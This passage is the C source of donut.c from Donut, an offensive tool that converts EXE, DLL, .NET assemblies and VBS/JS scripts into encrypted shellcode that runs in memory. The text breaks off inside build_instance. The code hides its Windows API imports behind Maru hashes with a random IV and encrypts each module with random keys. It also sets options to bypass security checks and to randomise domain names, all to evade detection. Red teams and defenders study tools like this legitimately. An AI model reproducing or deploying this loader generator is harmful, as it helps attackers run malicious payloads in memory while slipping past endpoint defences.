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donut.c
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donut.c
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/**
BSD 3-Clause License
Copyright (c) 2019-2020, TheWover, Odzhan. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "donut.h"
#include "loader_exe_x86.h"
#include "loader_exe_x64.h"
#define PUT_BYTE(p, v) { *(uint8_t *)(p) = (uint8_t) (v); p = (uint8_t*)p + 1; }
#define PUT_HWORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 2); p = (uint8_t*)p + 2; }
#define PUT_WORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 4); p = (uint8_t*)p + 4; }
#define PUT_BYTES(p, v, n) { memcpy(p, v, n); p = (uint8_t*)p + n; }
// required for each API used by the loader
#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32"
// These must be in the same order as the DONUT_INSTANCE structure defined in donut.h
static API_IMPORT api_imports[] = {
{KERNEL32_DLL, "LoadLibraryA"},
{KERNEL32_DLL, "GetProcAddress"},
{KERNEL32_DLL, "GetModuleHandleA"},
{KERNEL32_DLL, "VirtualAlloc"},
{KERNEL32_DLL, "VirtualFree"},
{KERNEL32_DLL, "VirtualQuery"},
{KERNEL32_DLL, "VirtualProtect"},
{KERNEL32_DLL, "Sleep"},
{KERNEL32_DLL, "MultiByteToWideChar"},
{KERNEL32_DLL, "GetUserDefaultLCID"},
{KERNEL32_DLL, "WaitForSingleObject"},
{KERNEL32_DLL, "CreateThread"},
{KERNEL32_DLL, "CreateFileA"},
{KERNEL32_DLL, "GetFileSizeEx"},
{KERNEL32_DLL, "GetThreadContext"},
{KERNEL32_DLL, "GetCurrentThread"},
{KERNEL32_DLL, "GetCurrentProcess"},
{KERNEL32_DLL, "GetCommandLineA"},
{KERNEL32_DLL, "GetCommandLineW"},
{KERNEL32_DLL, "HeapAlloc"},
{KERNEL32_DLL, "HeapReAlloc"},
{KERNEL32_DLL, "GetProcessHeap"},
{KERNEL32_DLL, "HeapFree"},
{KERNEL32_DLL, "GetLastError"},
{KERNEL32_DLL, "CloseHandle"},
{SHELL32_DLL, "CommandLineToArgvW"},
{OLEAUT32_DLL, "SafeArrayCreate"},
{OLEAUT32_DLL, "SafeArrayCreateVector"},
{OLEAUT32_DLL, "SafeArrayPutElement"},
{OLEAUT32_DLL, "SafeArrayDestroy"},
{OLEAUT32_DLL, "SafeArrayGetLBound"},
{OLEAUT32_DLL, "SafeArrayGetUBound"},
{OLEAUT32_DLL, "SysAllocString"},
{OLEAUT32_DLL, "SysFreeString"},
{OLEAUT32_DLL, "LoadTypeLib"},
{WININET_DLL, "InternetCrackUrlA"},
{WININET_DLL, "InternetOpenA"},
{WININET_DLL, "InternetConnectA"},
{WININET_DLL, "InternetSetOptionA"},
{WININET_DLL, "InternetReadFile"},
{WININET_DLL, "InternetQueryDataAvailable"},
{WININET_DLL, "InternetCloseHandle"},
{WININET_DLL, "HttpOpenRequestA"},
{WININET_DLL, "HttpSendRequestA"},
{WININET_DLL, "HttpQueryInfoA"},
{MSCOREE_DLL, "CorBindToRuntime"},
{MSCOREE_DLL, "CLRCreateInstance"},
{OLE32_DLL, "CoInitializeEx"},
{OLE32_DLL, "CoCreateInstance"},
{OLE32_DLL, "CoUninitialize"},
{NTDLL_DLL, "RtlEqualUnicodeString"},
{NTDLL_DLL, "RtlEqualString"},
{NTDLL_DLL, "RtlUnicodeStringToAnsiString"},
{NTDLL_DLL, "RtlInitUnicodeString"},
{NTDLL_DLL, "RtlExitUserThread"},
{NTDLL_DLL, "RtlExitUserProcess"},
{NTDLL_DLL, "RtlCreateUnicodeString"},
{NTDLL_DLL, "RtlGetCompressionWorkSpaceSize"},
{NTDLL_DLL, "RtlDecompressBuffer"},
{NTDLL_DLL, "NtContinue"},
{NTDLL_DLL, "NtCreateSection"},
{NTDLL_DLL, "NtMapViewOfSection"},
{NTDLL_DLL, "NtUnmapViewOfSection"},
//{KERNEL32_DLL, "AddVectoredExceptionHandler"},
//{KERNEL32_DLL, "RemoveVectoredExceptionHandler"},
//{NTDLL_DLL, "RtlFreeUnicodeString"},
//{NTDLL_DLL, "RtlFreeString"},
{ NULL, NULL } // last one always contains two NULL pointers
};
// required to load .NET assemblies
static GUID xCLSID_CorRuntimeHost = {
0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};
static GUID xIID_ICorRuntimeHost = {
0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};
static GUID xCLSID_CLRMetaHost = {
0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}};
static GUID xIID_ICLRMetaHost = {
0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}};
static GUID xIID_ICLRRuntimeInfo = {
0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}};
static GUID xIID_AppDomain = {
0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13}};
// required to load VBS and JS files
static GUID xIID_IUnknown = {
0x00000000, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
static GUID xIID_IDispatch = {
0x00020400, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
static GUID xIID_IHost = {
0x91afbd1b, 0x5feb, 0x43f5, {0xb0, 0x28, 0xe2, 0xca, 0x96, 0x06, 0x17, 0xec}};
static GUID xIID_IActiveScript = {
0xbb1a2ae1, 0xa4f9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptSite = {
0xdb01a1e3, 0xa42b, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptSiteWindow = {
0xd10f6761, 0x83e9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptParse32 = {
0xbb1a2ae2, 0xa4f9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
static GUID xIID_IActiveScriptParse64 = {
0xc7ef7658, 0xe1ee, 0x480e, {0x97, 0xea, 0xd5, 0x2c, 0xb4, 0xd7, 0x6d, 0x17}};
static GUID xCLSID_VBScript = {
0xB54F3741, 0x5B07, 0x11cf, {0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8}};
static GUID xCLSID_JScript = {
0xF414C260, 0x6AC0, 0x11CF, {0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58}};
// where to store information about input file
file_info fi;
// return pointer to DOS header
static PIMAGE_DOS_HEADER DosHdr(void *map) {
return (PIMAGE_DOS_HEADER)map;
}
// return pointer to NT headers
static PIMAGE_NT_HEADERS NtHdr (void *map) {
return (PIMAGE_NT_HEADERS) ((uint8_t*)map + DosHdr(map)->e_lfanew);
}
// return pointer to File header
static PIMAGE_FILE_HEADER FileHdr (void *map) {
return &NtHdr(map)->FileHeader;
}
// determines CPU architecture of binary
static int is32 (void *map) {
return FileHdr(map)->Machine == IMAGE_FILE_MACHINE_I386;
}
// return pointer to Optional header
static void* OptHdr (void *map) {
return (void*)&NtHdr(map)->OptionalHeader;
}
static PIMAGE_DATA_DIRECTORY Dirs (void *map) {
if (is32(map)) {
return ((PIMAGE_OPTIONAL_HEADER32)OptHdr(map))->DataDirectory;
} else {
return ((PIMAGE_OPTIONAL_HEADER64)OptHdr(map))->DataDirectory;
}
}
// valid dos header?
static int valid_dos_hdr (void *map) {
PIMAGE_DOS_HEADER dos = DosHdr(map);
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return 0;
return (dos->e_lfanew != 0);
}
// valid nt headers
static int valid_nt_hdr (void *map) {
return NtHdr(map)->Signature == IMAGE_NT_SIGNATURE;
}
static ULONG64 rva2ofs (void *base, ULONG64 rva) {
DWORD i;
ULONG64 ofs;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
dos = (PIMAGE_DOS_HEADER)base;
nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)
((PBYTE)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader);
for (i=0; i<nt->FileHeader.NumberOfSections; i++) {
if ((rva >= sh[i].VirtualAddress) &&
(rva < (sh[i].VirtualAddress + sh[i].SizeOfRawData))) {
ofs = sh[i].PointerToRawData + (rva - sh[i].VirtualAddress);
return ofs;
}
}
return -1;
}
#ifdef WINDOWS
#include "mmap-windows.c"
#endif
/**
* Function: map_file
* ----------------------------
* Open and map the contents of file into memory.
*
* INPUT : path = file to map
*
* OUTPUT : Donut error code.
*/
static int map_file(const char *path) {
struct stat fs;
DPRINT("Entering.");
if(stat(path, &fs) != 0) {
DPRINT("Unable to read size of file : %s", path);
return DONUT_ERROR_FILE_NOT_FOUND;
}
if(fs.st_size == 0) {
DPRINT("File appears to be empty!");
return DONUT_ERROR_FILE_EMPTY;
}
fi.fd = open(path, O_RDONLY);
if(fi.fd < 0) {
DPRINT("Unable to open %s for reading.", path);
return DONUT_ERROR_FILE_ACCESS;
}
fi.len = fs.st_size;
fi.data = mmap(NULL, fi.len, PROT_READ, MAP_PRIVATE, fi.fd, 0);
// no mapping? close file
if(fi.data == NULL) {
DPRINT("Unable to map file : %s", path);
close(fi.fd);
return DONUT_ERROR_NO_MEMORY;
}
return DONUT_ERROR_OK;
}
/**
* Function: unmap_file
* ----------------------------
* Releases memory allocated for file and closes descriptor.
*
* INPUT : Nothing
*
* OUTPUT : Donut error code
*/
static int unmap_file(void) {
if(fi.zdata != NULL) {
DPRINT("Releasing compressed data.");
free(fi.zdata);
fi.zdata = NULL;
}
if(fi.data != NULL) {
DPRINT("Unmapping input file.");
munmap(fi.data, fi.len);
fi.data = NULL;
}
if(fi.fd != 0) {
DPRINT("Closing input file.");
close(fi.fd);
fi.fd = 0;
}
return DONUT_ERROR_OK;
}
// only included for executable generator or debug build
#if defined(DONUT_EXE) || defined(DEBUG)
/**
* Function: file_diff
* ----------------------------
* Calculates the ratio between two lengths for compression and decompression.
*
* INPUT : new_len = new length
* : old_len = old length
*
* OUTPUT : ratio as a percentage
*/
static uint32_t file_diff(uint32_t new_len, uint32_t old_len) {
if (new_len <= UINT_MAX / 100) {
new_len *= 100;
} else {
old_len /= 100;
}
if (old_len == 0) {
old_len = 1;
}
return (100 - (new_len / old_len));
}
#endif
/**
* Function: compress_file
* ----------------------------
* Compresses the input file based on engine selected by user
*
* INPUT : Pointer to Donut configuration.
*
* OUTPUT : Donut error code.
*/
int compress_file(PDONUT_CONFIG c) {
int err = DONUT_ERROR_OK;
// RtlCompressBuffer is only available on Windows
#ifdef WINDOWS
typedef NTSTATUS (WINAPI *RtlGetCompressionWorkSpaceSize_t)(
USHORT CompressionFormatAndEngine,
PULONG CompressBufferWorkSpaceSize,
PULONG CompressFragmentWorkSpaceSize);
typedef NTSTATUS (WINAPI *RtlCompressBuffer_t)(
USHORT CompressionFormatAndEngine,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
ULONG UncompressedChunkSize,
PULONG FinalCompressedSize,
PVOID WorkSpace);
ULONG wspace, fspace;
NTSTATUS nts;
PVOID ws;
HMODULE m;
RtlGetCompressionWorkSpaceSize_t RtlGetCompressionWorkSpaceSize;
RtlCompressBuffer_t RtlCompressBuffer;
// compress file using RtlCompressBuffer?
if(c->compress == DONUT_COMPRESS_LZNT1 ||
c->compress == DONUT_COMPRESS_XPRESS)
{
m = GetModuleHandle("ntdll");
RtlGetCompressionWorkSpaceSize = (RtlGetCompressionWorkSpaceSize_t)GetProcAddress(m, "RtlGetCompressionWorkSpaceSize");
RtlCompressBuffer = (RtlCompressBuffer_t)GetProcAddress(m, "RtlCompressBuffer");
if(RtlGetCompressionWorkSpaceSize == NULL || RtlCompressBuffer == NULL) {
DPRINT("Unable to resolve compression API");
return DONUT_ERROR_COMPRESSION;
}
DPRINT("Reading fragment and workspace size");
nts = RtlGetCompressionWorkSpaceSize(
(c->compress - 1) | COMPRESSION_ENGINE_MAXIMUM,
&wspace, &fspace);
if(nts == 0) {
DPRINT("workspace size : %"PRId32" | fragment size : %"PRId32, wspace, fspace);
ws = malloc(wspace);
if(ws != NULL) {
DPRINT("Allocating memory for compressed data.");
fi.zdata = malloc(fi.len);
if(fi.zdata != NULL) {
DPRINT("Compressing %p to %p with RtlCompressBuffer(%s)",
fi.data, fi.zdata,
c->compress == DONUT_COMPRESS_LZNT1 ? "LZNT" : "XPRESS");
nts = RtlCompressBuffer(
(c->compress - 1) | COMPRESSION_ENGINE_MAXIMUM,
fi.data, fi.len, fi.zdata, fi.len, 0,
(PULONG)&fi.zlen, ws);
if(nts != 0) {
DPRINT("NTSTATUS : %lx", nts);
err = DONUT_ERROR_COMPRESSION;
}
} else err = DONUT_ERROR_NO_MEMORY;
free(ws);
} else err = DONUT_ERROR_NO_MEMORY;
} else err = DONUT_ERROR_COMPRESSION;
}
#endif
if(c->compress == DONUT_COMPRESS_APLIB) {
DPRINT("Obtaining size of compressed data from aP_max_packed_size() and allocating memory");
fi.zdata = malloc(aP_max_packed_size(fi.len));
if(fi.zdata != NULL) {
DPRINT("Obtaining size of work memory from aP_workmem_size() and allocating memory");
uint8_t *workmem = malloc(aP_workmem_size(fi.len));
if(workmem != NULL) {
DPRINT("Compressing with aP_pack()");
fi.zlen = aP_pack(fi.data, fi.zdata, fi.len, workmem, NULL, NULL);
if(fi.zlen == APLIB_ERROR) err = DONUT_ERROR_COMPRESSION;
free(workmem);
} else err = DONUT_ERROR_NO_MEMORY;
} else err = DONUT_ERROR_NO_MEMORY;
}
// if compression is specified
if(err == DONUT_ERROR_OK && c->compress != DONUT_COMPRESS_NONE) {
// set the compressed length in configuration
c->zlen = fi.zlen;
DPRINT("Original file size : %"PRId32 " | Compressed : %"PRId32, fi.len, fi.zlen);
DPRINT("File size reduced by %"PRId32"%%", file_diff(fi.zlen, fi.len));
}
DPRINT("Leaving with error : %" PRId32, err);
return err;
}
/**
* Function: read_file_info
* ----------------------------
* Reads information about the input file.
*
* INPUT : Pointer to Donut configuration.
*
* OUTPUT : Donut error code.
*/
static int read_file_info(PDONUT_CONFIG c) {
PIMAGE_NT_HEADERS nt;
PIMAGE_DATA_DIRECTORY dir;
PMDSTORAGESIGNATURE pss;
PIMAGE_COR20_HEADER cor;
DWORD dll, rva, cpu;
ULONG64 ofs;
PCHAR ext;
int err = DONUT_ERROR_OK;
DPRINT("Entering.");
// invalid parameters passed?
if(c->input[0] == 0) {
DPRINT("No input file provided.");
return DONUT_ERROR_INVALID_PARAMETER;
}
DPRINT("Checking extension of %s", c->input);
ext = strrchr(c->input, '.');
// no extension? exit
if(ext == NULL) {
DPRINT("Input file has no extension.");
return DONUT_ERROR_FILE_INVALID;
}
DPRINT("Extension is \"%s\"", ext);
// VBScript?
if (strcasecmp(ext, ".vbs") == 0) {
DPRINT("File is VBS");
fi.type = DONUT_MODULE_VBS;
fi.arch = DONUT_ARCH_ANY;
} else
// JScript?
if (strcasecmp(ext, ".js") == 0) {
DPRINT("File is JS");
fi.type = DONUT_MODULE_JS;
fi.arch = DONUT_ARCH_ANY;
} else
// EXE?
if (strcasecmp(ext, ".exe") == 0) {
DPRINT("File is EXE");
fi.type = DONUT_MODULE_EXE;
} else
// DLL?
if (strcasecmp(ext, ".dll") == 0) {
DPRINT("File is DLL");
fi.type = DONUT_MODULE_DLL;
} else {
DPRINT("Don't recognize file extension.");
return DONUT_ERROR_FILE_INVALID;
}
DPRINT("Mapping %s into memory", c->input);
err = map_file(c->input);
if(err != DONUT_ERROR_OK) return err;
// file is EXE or DLL?
if(fi.type == DONUT_MODULE_DLL ||
fi.type == DONUT_MODULE_EXE)
{
if(!valid_dos_hdr(fi.data)) {
DPRINT("EXE/DLL has no valid DOS header.");
err = DONUT_ERROR_FILE_INVALID;
goto cleanup;
}
if(!valid_nt_hdr(fi.data)) {
DPRINT("EXE/DLL has no valid NT header.");
err = DONUT_ERROR_FILE_INVALID;
goto cleanup;
}
dir = Dirs(fi.data);
if(dir == NULL) {
DPRINT("EXE/DLL has no valid image directories.");
err = DONUT_ERROR_FILE_INVALID;
goto cleanup;
}
DPRINT("Checking characteristics");
nt = NtHdr(fi.data);
dll = nt->FileHeader.Characteristics & IMAGE_FILE_DLL;
cpu = is32(fi.data);
rva = dir[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress;
// set the CPU architecture for file
fi.arch = cpu ? DONUT_ARCH_X86 : DONUT_ARCH_X64;
// if COM directory present
if(rva != 0) {
DPRINT("COM Directory found indicates .NET assembly.");
// if it has an export address table, we assume it's a .NET
// mixed assembly. curently unsupported by the PE loader.
if(dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress != 0) {
DPRINT("File looks like a mixed (native and managed) assembly.");
err = DONUT_ERROR_MIXED_ASSEMBLY;
goto cleanup;
} else {
// set type to EXE or DLL assembly
fi.type = (dll) ? DONUT_MODULE_NET_DLL : DONUT_MODULE_NET_EXE;
// try read the runtime version from meta header
strncpy(fi.ver, "v4.0.30319", DONUT_VER_LEN - 1);
ofs = rva2ofs(fi.data, rva);
if (ofs != -1) {
cor = (PIMAGE_COR20_HEADER)(ofs + fi.data);
rva = cor->MetaData.VirtualAddress;
if(rva != 0) {
ofs = rva2ofs(fi.data, rva);
if(ofs != -1) {
pss = (PMDSTORAGESIGNATURE)(ofs + fi.data);
DPRINT("Runtime version : %s", (char*)pss->pVersion);
strncpy(fi.ver, (char*)pss->pVersion, DONUT_VER_LEN - 1);
}
}
}
}
}
}
// assign length of file and type to configuration
c->len = fi.len;
c->mod_type = fi.type;
cleanup:
if(err != DONUT_ERROR_OK) {
DPRINT("Unmapping input file due to errors.");
unmap_file();
}
DPRINT("Leaving with error : %" PRId32, err);
return err;
}
/**
* Function: gen_random
* ----------------------------
* Generates pseudo-random bytes.
*
* INPUT : buf = where to store random bytes.
* : len = length of random bytes to generate.
*
* OUTPUT : 1 if ok, else 0
*/
static int gen_random(void *buf, uint64_t len) {
#if defined(WINDOWS)
HCRYPTPROV prov;
int ok;
// 1. acquire crypto context
if(!CryptAcquireContext(
&prov, NULL, NULL,
PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) return 0;
ok = (int)CryptGenRandom(prov, (DWORD)len, buf);
CryptReleaseContext(prov, 0);
return ok;
#else
int fd;
uint64_t r=0;
uint8_t *p=(uint8_t*)buf;
DPRINT("Opening /dev/urandom to acquire %li bytes", len);
fd = open("/dev/urandom", O_RDONLY);
if(fd > 0) {
for(r=0; r<len; r++, p++) {
if(read(fd, p, 1) != 1) break;
}
close(fd);
}
DPRINT("Acquired %li of %li bytes requested", r, len);
return r == len;
#endif
}
/**
* Function: gen_random_string
* ----------------------------
* Generates a pseudo-random string
*
* INPUT : output = pointer to buffer that receives string
* : len = length of string to generate
*
* OUTPUT : 1 if ok, else 0
*/
static int gen_random_string(void *output, uint64_t len) {
uint8_t rnd[DONUT_MAX_NAME];
int i;
char tbl[]="HMN34P67R9TWCXYF"; // https://stackoverflow.com/a/27459196
char *str = (char*)output;
if(len == 0 || len > (DONUT_MAX_NAME - 1)) return 0;
// generate DONUT_MAX_NAME random bytes
if(!gen_random(rnd, DONUT_MAX_NAME)) return 0;
// generate a string using unambiguous characters
for(i=0; i<len; i++) {
str[i] = tbl[rnd[i] % (sizeof(tbl) - 1)];
}
str[i] = 0;
return 1;
}
/**
* Function: build_module
* ----------------------------
* Create a Donut module from Donut configuration
*
* INPUT : A pointer to a donut configuration
*
* OUTPUT : Donut error code.
*/
static int build_module(PDONUT_CONFIG c) {
PDONUT_MODULE mod = NULL;
uint32_t mod_len, data_len;
void *data;
int err = DONUT_ERROR_OK;
DPRINT("Entering.");
// Compress the input file?
if(c->compress != DONUT_COMPRESS_NONE) {
err = compress_file(c);
if(err != DONUT_ERROR_OK) {
DPRINT("compress_file() failed");
return err;
}
DPRINT("Assigning %"PRIi32 " bytes of %p to data", fi.zlen, fi.zdata);
data = fi.zdata;
data_len = fi.zlen;
} else {
DPRINT("Assigning %"PRIi32 " bytes of %p to data", fi.len, fi.data);
data = fi.data;
data_len = fi.len;
}
// Allocate memory for module information and contents of file
mod_len = data_len + sizeof(DONUT_MODULE);
DPRINT("Allocating %" PRIi32 " bytes of memory for DONUT_MODULE", mod_len);
mod = calloc(mod_len, 1);
// Memory not allocated? exit
if(mod == NULL) {
DPRINT("calloc() failed");
return DONUT_ERROR_NO_MEMORY;
}
// Set the module info
mod->type = fi.type;
mod->thread = c->thread;
mod->compress = c->compress;
mod->unicode = c->unicode;
mod->zlen = fi.zlen;
mod->len = fi.len;
// DotNet assembly?
if(mod->type == DONUT_MODULE_NET_DLL ||
mod->type == DONUT_MODULE_NET_EXE)
{
// If no domain name specified in configuration
if(c->domain[0] == 0) {
// if entropy is enabled
if(c->entropy != DONUT_ENTROPY_NONE) {
// generate a random name
if(!gen_random_string(c->domain, DONUT_DOMAIN_LEN)) {
DPRINT("gen_random_string() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
}
}
DPRINT("Domain : %s", c->domain[0] == 0 ? "Default" : c->domain);
if(c->domain[0] != 0) {
// Set the domain name in module
strncpy(mod->domain, c->domain, DONUT_DOMAIN_LEN);
} else {
memset(mod->domain, 0, DONUT_DOMAIN_LEN);
}
// Assembly is DLL? Copy the class and method
if(mod->type == DONUT_MODULE_NET_DLL) {
DPRINT("Class : %s", c->cls);
strncpy(mod->cls, c->cls, DONUT_MAX_NAME-1);
DPRINT("Method : %s", c->method);
strncpy(mod->method, c->method, DONUT_MAX_NAME-1);
}
// If no runtime specified in configuration, use version from assembly
if(c->runtime[0] == 0) {
strncpy(c->runtime, fi.ver, DONUT_MAX_NAME-1);
}
DPRINT("Runtime : %s", c->runtime);
strncpy(mod->runtime, c->runtime, DONUT_MAX_NAME-1);
} else
// Unmanaged DLL? copy function name to module
if(mod->type == DONUT_MODULE_DLL && c->method[0] != 0) {
DPRINT("DLL function : %s", c->method);
strncpy(mod->method, c->method, DONUT_MAX_NAME-1);
}
// Parameters specified?
if(c->args[0] != 0) {
// If file type is unmanaged EXE
if(mod->type == DONUT_MODULE_EXE) {
// If entropy is disabled
if(c->entropy == DONUT_ENTROPY_NONE) {
// Set to "AAAA"
memset(mod->args, 'A', 4);
} else {
// Generate 4-byte random name
if(!gen_random_string(mod->args, 4)) {
DPRINT("gen_random_string() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
}
// Add space
mod->args[4] = ' ';
}
//
// Copy parameters
strncat(mod->args, c->args, DONUT_MAX_NAME-6);
}
DPRINT("Copying data to module");
memcpy(&mod->data, data, data_len);
// update configuration with pointer to module
c->mod = mod;
c->mod_len = mod_len;
cleanup:
// if there was an error, free memory for module
if(err != DONUT_ERROR_OK) {
DPRINT("Releasing memory due to errors.");
free(mod);
}
DPRINT("Leaving with error : %" PRId32, err);
return err;
}
/**
* Function: build_instance
* ----------------------------
* Creates the data necessary for main loader to execute VBS/JS/EXE/DLL files in memory.
*
* INPUT : Pointer to a Donut configuration.
*
* OUTPUT : Donut error code.
*/
static int build_instance(PDONUT_CONFIG c) {
DONUT_CRYPT inst_key, mod_key;
PDONUT_INSTANCE inst = NULL;
int cnt, inst_len;
uint64_t dll_hash;
int err = DONUT_ERROR_OK;
DPRINT("Entering.");
// Allocate memory for the size of instance based on the type
DPRINT("Allocating memory for instance");
inst_len = sizeof(DONUT_INSTANCE);
// if the module is embedded, add the size of module
// that will be appended to the end of structure
if(c->inst_type == DONUT_INSTANCE_EMBED) {
DPRINT("The size of module is %" PRIi32 " bytes. "
"Adding to size of instance.", c->mod_len);
inst_len += c->mod_len;
}
DPRINT("Total length of instance : %"PRIi32, inst_len);
// allocate zero-initialized memory for instance
inst = (PDONUT_INSTANCE)calloc(inst_len, 1);
// Memory allocation failed? exit
if(inst == NULL) {
DPRINT("Memory allocation failed");
return DONUT_ERROR_NO_MEMORY;
}
// set the length of instance and pointer to it in configuration
c->inst = inst;
c->inst_len = inst->len = inst_len;
// set the type of instance we're creating
inst->type = c->inst_type;
// indicate if we should call RtlExitUserProcess to terminate host process
inst->exit_opt = c->exit_opt;
// set the Original Entry Point
inst->oep = c->oep;
// set the entropy level
inst->entropy = c->entropy;
// set the bypass level
inst->bypass = c->bypass;
// set the headers level
inst->headers = c->headers;
// set the module length
inst->mod_len = c->mod_len;
// encryption enabled?
if(c->entropy == DONUT_ENTROPY_DEFAULT) {
DPRINT("Generating random key for instance");
if(!gen_random(&inst_key, sizeof(DONUT_CRYPT))) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
// copy local key to configuration
memcpy(&inst->key, &inst_key, sizeof(DONUT_CRYPT));
DPRINT("Generating random key for module");
if(!gen_random(&mod_key, sizeof(DONUT_CRYPT))) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
// copy local key to configuration
memcpy(&inst->mod_key, &mod_key, sizeof(DONUT_CRYPT));
DPRINT("Generating random string to verify decryption");
if(!gen_random_string(inst->sig, DONUT_SIG_LEN)) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
DPRINT("Generating random IV for Maru hash");
if(!gen_random(&inst->iv, MARU_IV_LEN)) {
DPRINT("gen_random() failed");
err = DONUT_ERROR_RANDOM;
goto cleanup;
}
}
DPRINT("Generating hashes for API using IV: %" PRIX64, inst->iv);
for(cnt=0; api_imports[cnt].module != NULL; cnt++) {
// calculate hash for DLL string
dll_hash = maru(api_imports[cnt].module, inst->iv);
// calculate hash for API string.
// xor with DLL hash and store in instance
inst->api.hash[cnt] = maru(api_imports[cnt].name, inst->iv) ^ dll_hash;
DPRINT("Hash for %-15s : %-22s = %016" PRIX64,
api_imports[cnt].module,
api_imports[cnt].name,
inst->api.hash[cnt]);
}
DPRINT("Setting number of API to %" PRIi32, cnt);
inst->api_cnt = cnt;
DPRINT("Setting DLL names to %s", DLL_NAMES);
strcpy(inst->dll_names, DLL_NAMES);
// if module is .NET assembly
if(c->mod_type == DONUT_MODULE_NET_DLL ||
c->mod_type == DONUT_MODULE_NET_EXE)
{
DPRINT("Copying GUID structures and DLL strings for loading .NET assemblies");
memcpy(&inst->xIID_AppDomain, &xIID_AppDomain, sizeof(GUID));
memcpy(&inst->xIID_ICLRMetaHost, &xIID_ICLRMetaHost, sizeof(GUID));
memcpy(&inst->xCLSID_CLRMetaHost, &xCLSID_CLRMetaHost, sizeof(GUID));
memcpy(&inst->xIID_ICLRRuntimeInfo, &xIID_ICLRRuntimeInfo, sizeof(GUID));
memcpy(&inst->xIID_ICorRuntimeHost, &xIID_ICorRuntimeHost, sizeof(GUID));
memcpy(&inst->xCLSID_CorRuntimeHost, &xCLSID_CorRuntimeHost, sizeof(GUID));
} else
// if module is VBS or JS
if(c->mod_type == DONUT_MODULE_VBS ||
c->mod_type == DONUT_MODULE_JS)
{
DPRINT("Copying GUID structures and DLL strings for loading VBS/JS");
memcpy(&inst->xIID_IUnknown, &xIID_IUnknown, sizeof(GUID));
memcpy(&inst->xIID_IDispatch, &xIID_IDispatch, sizeof(GUID));
memcpy(&inst->xIID_IHost, &xIID_IHost, sizeof(GUID));
memcpy(&inst->xIID_IActiveScript, &xIID_IActiveScript, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptSite, &xIID_IActiveScriptSite, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptSiteWindow, &xIID_IActiveScriptSiteWindow, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptParse32, &xIID_IActiveScriptParse32, sizeof(GUID));
memcpy(&inst->xIID_IActiveScriptParse64, &xIID_IActiveScriptParse64, sizeof(GUID));
